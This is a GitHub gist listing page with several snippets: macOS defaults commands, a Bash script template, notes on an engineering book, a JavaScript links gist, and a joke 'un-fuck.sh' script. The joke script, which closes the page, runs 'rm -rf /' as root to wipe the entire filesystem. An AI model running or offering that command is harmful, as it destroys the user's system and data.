Skip to content

Instantly share code, notes, and snippets.

@sickcodes
sickcodes / macos.md
Last active April 27, 2025 15:16 — forked from gguerini/macos
MacOS Defaults
# Forked from https://gist.github.com/gguerini
# Syntax edits by Sick Codes (GPLv3+)

# Disable menu bar transparency
defaults write NSGlobalDomain AppleEnableMenuBarTransparency -bool false

# Show remaining battery time; hide percentage
defaults write com.apple.menuextra.battery ShowPercent -string "NO"
defaults write com.apple.menuextra.battery ShowTime -string "YES"
@m-radzikowski
m-radzikowski / script-template.sh
Last active May 22, 2025 17:41
Minimal safe Bash script template - see the article with full description: https://betterdev.blog/minimal-safe-bash-script-template/
#!/usr/bin/env bash
set -Eeuo pipefail
trap cleanup SIGINT SIGTERM ERR EXIT
script_dir=$(cd "$(dirname "${BASH_SOURCE[0]}")" &>/dev/null && pwd -P)
usage() {
cat <<EOF
Usage: $(basename "${BASH_SOURCE[0]}") [-h] [-v] [-f] -p param_value arg1 [arg2...]

FWIW: I (@rondy) am not the creator of the content shared here, which is an excerpt from Edmond Lau's book. I simply copied and pasted it from another location and saved it as a personal note, before it gained popularity on news.ycombinator.com. Unfortunately, I cannot recall the exact origin of the original source, nor was I able to find the author's name, so I am can't provide the appropriate credits.


Effective Engineer - Notes

What's an Effective Engineer?

@ericelliott
ericelliott / essential-javascript-links.md
Last active June 14, 2025 18:43
Essential JavaScript Links
@brentlintner
brentlintner / un-fuck.sh
Created September 13, 2012 18:13
bash script to un-fuck _any_ *nix issue (philosophically speaking).
#/usr/bin/env bash
if [ `whoami` != root ]; then
echo "You must be root to do this, obviously."
exit
fi
echo "If you don't have a file system, then you don't have such a problem."
echo "Now deleting the entire file system."
rm -rf /